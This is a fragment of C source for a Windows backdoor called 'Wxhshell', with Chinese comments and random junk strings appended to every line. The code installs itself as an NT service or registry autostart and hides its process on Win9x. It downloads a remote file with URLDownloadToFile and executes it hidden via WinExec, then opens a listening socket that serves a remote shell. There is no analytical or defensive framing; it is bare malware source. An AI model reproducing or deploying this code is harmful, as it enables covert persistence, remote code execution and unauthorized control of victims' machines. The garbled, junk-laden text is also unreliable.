} PROCESS_BASIC_INFORMATION; $X+u={]
u:`y]
PROCNTQSIP NtQueryInformationProcess; ]5v:5:H
#cwCocw
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Nl8 gK{
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /CT(k1>
*[kx F*^
HANDLE hProcess; [B?z1z8l
PROCESS_BASIC_INFORMATION pbi; f e
$Wu
o VB"f
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b5e@oIK
if(NULL == hInst ) return 0; /4joC9\AB
V_L[P9
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); PtKTm\,JL0
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ws49ImCB
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X$wehMBX
9|!j4DS<
if (!NtQueryInformationProcess) return 0; ;>2#@QP
mT_GrIl[
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %3a|<6
if(!hProcess) return 0; (clU$m+oXX
Ls:=A6AGM
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ->yeJTsE9
S>ugRasZ$
CloseHandle(hProcess); X_70]^XL
mPmB6q%)]
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \].J-^=
if(hProcess==NULL) return 0; WSI
Xj5R
SQKt}kDbM
HMODULE hMod; =2oUZjA
char procName[255]; D&[Z;,CHMA
unsigned long cbNeeded; [{PqV):p
E5B8 Z?$a
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H(\V+@~>AD
i@$-0%,
CloseHandle(hProcess); } 21j
.u< U:*
if(strstr(procName,"services")) return 1; // 以服务启动 '>^Xqn
"r-l8r,
return 0; // 注册表启动 vO$ra5Z
} 7>x;B
A'DVJ9%xB
// 主模块 u3wL<$2[8
int StartWxhshell(LPSTR lpCmdLine) qB JRS'6'9
{ XU#,Bu{
SOCKET wsl; /Antb6E
BOOL val=TRUE; .k]#XoE
int port=0; z/vDgH!s
struct sockaddr_in door; org*z!;.
m,NMTyJoz
if(wscfg.ws_autoins) Install(); Mj~${vj
`45d"B
I
port=atoi(lpCmdLine); POBpJg
2xmT#m
if(port<=0) port=wscfg.ws_port; >RR<eYu7m
/`R dQ<($
WSADATA data; D_aR\
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "3t\em!
;?8Iys#
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; @Qo,p
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A1<k1[5fJ
door.sin_family = AF_INET; MYTS3(
door.sin_addr.s_addr = inet_addr("127.0.0.1"); `D)S-7BR
door.sin_port = htons(port); +(AwSh !
@9_)On9hZ
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]7F)bIG[
closesocket(wsl); 1b`G2?%
return 1; &PWf:y{R`
} x<Se>+
{Tx 3$eU
if(listen(wsl,2) == INVALID_SOCKET) { K.h]JD]o
closesocket(wsl); Fd"WlBYy0
return 1; f%1wMOzx
} $SF3odpt
Wxhshell(wsl); 0=,'{Vz}A
WSACleanup(); w)<4>(D
S&|VkZR)
return 0; drX4$Kdf]
Ty}R^cy{d
} ;@'0T4Z&l
$9m5bQcV
// 以NT服务方式启动 Heohe|an
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Wy,"cT
{ %o-jwr}O{
DWORD status = 0; ;q&Z9lm
DWORD specificError = 0xfffffff; sKCGuw(mh
4I1K vN<A
serviceStatus.dwServiceType = SERVICE_WIN32; !pV<n
serviceStatus.dwCurrentState = SERVICE_START_PENDING; j%GbgJ
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :b,o B==%
serviceStatus.dwWin32ExitCode = 0; \y,;Cfl<
serviceStatus.dwServiceSpecificExitCode = 0; @d
P~X
serviceStatus.dwCheckPoint = 0; zCM^r <Kr
serviceStatus.dwWaitHint = 0; iGyVG41U
:X|AW?*
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >VypE8H]x
if (hServiceStatusHandle==0) return; yx 7loy$[
>T(M0Tkt
status = GetLastError(); ],$6&Cm
if (status!=NO_ERROR) NB3/A"}"02
{ }RH lYN
serviceStatus.dwCurrentState = SERVICE_STOPPED; i~ROQMN1
serviceStatus.dwCheckPoint = 0; qY# m*R
serviceStatus.dwWaitHint = 0; w4`!Te
serviceStatus.dwWin32ExitCode = status; AtuZF
serviceStatus.dwServiceSpecificExitCode = specificError; B_b8r7Vn`
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9c:5t'Qt5.
return; ltP
} .k
p$oAL
'>"`)-
serviceStatus.dwCurrentState = SERVICE_RUNNING; JPHUmv6
serviceStatus.dwCheckPoint = 0; mMga"I9
serviceStatus.dwWaitHint = 0; G)jG!`I
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); IOn`cbV:
} i:\bqK
ZyZl\\8U
// 处理NT服务事件,比如:启动、停止 S_`W@cp[
VOID WINAPI NTServiceHandler(DWORD fdwControl) XlE$.
{ BllDWKb
switch(fdwControl) `x5ll;"J
{ fYv ;TV>73
case SERVICE_CONTROL_STOP: =H
L9Z
serviceStatus.dwWin32ExitCode = 0; yIM.j;5:~5
serviceStatus.dwCurrentState = SERVICE_STOPPED; 9 J$Y,Z
serviceStatus.dwCheckPoint = 0; t- !h
X/
serviceStatus.dwWaitHint = 0; "[FCQ
{ U$MWsDn
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 27}.s0{D
} M|$H+e }:
return; -t;?P2
case SERVICE_CONTROL_PAUSE: &;'w8_K"^
serviceStatus.dwCurrentState = SERVICE_PAUSED; <m-Ni
break; k?!TjBKm
case SERVICE_CONTROL_CONTINUE: l!xgtP K
serviceStatus.dwCurrentState = SERVICE_RUNNING; E!r4AjaC
break; /<(R
case SERVICE_CONTROL_INTERROGATE: TG""eC!E
break; 8 ))I$+
}; h #$_<U
SetServiceStatus(hServiceStatusHandle, &serviceStatus); iPRJA{$b_
} ua6*zop
7$E2/@f
// 标准应用程序主函数 q[T_*X3o
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $D0)j(v
{ :Kt{t46)
{Tjtj@-
// 获取操作系统版本 {|t?
OsIsNt=GetOsVer(); gu~-}
GetModuleFileName(NULL,ExeFile,MAX_PATH); rzc 3k~@
'6Rs0__
// 从命令行安装 C5W- B8>
if(strpbrk(lpCmdLine,"iI")) Install(); lcuH]z
Y6[] wUJ
// 下载执行文件 K~9 jin
if(wscfg.ws_downexe) { T`0`]z !~
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @Reh?]# v
WinExec(wscfg.ws_filenam,SW_HIDE); <3J=;.\6
} -f
'q
Rwi5+;N
if(!OsIsNt) { Cys/1DkE
// 如果时win9x,隐藏进程并且设置为注册表启动 _YD<Q@
HideProc(); [jmAMF<F
StartWxhshell(lpCmdLine); 'p{Y{
$Q
} b_"V%<I
else 07E".T%Ts
if(StartFromService()) =-#iXP@
// 以服务方式启动 _cnrGi}T
StartServiceCtrlDispatcher(DispatchTable); Jg?pW:}R
else x Ps&CyI
// 普通方式启动 ! a8h
StartWxhshell(lpCmdLine); Av[|.~g
LOYyj?^7
return 0; GO&R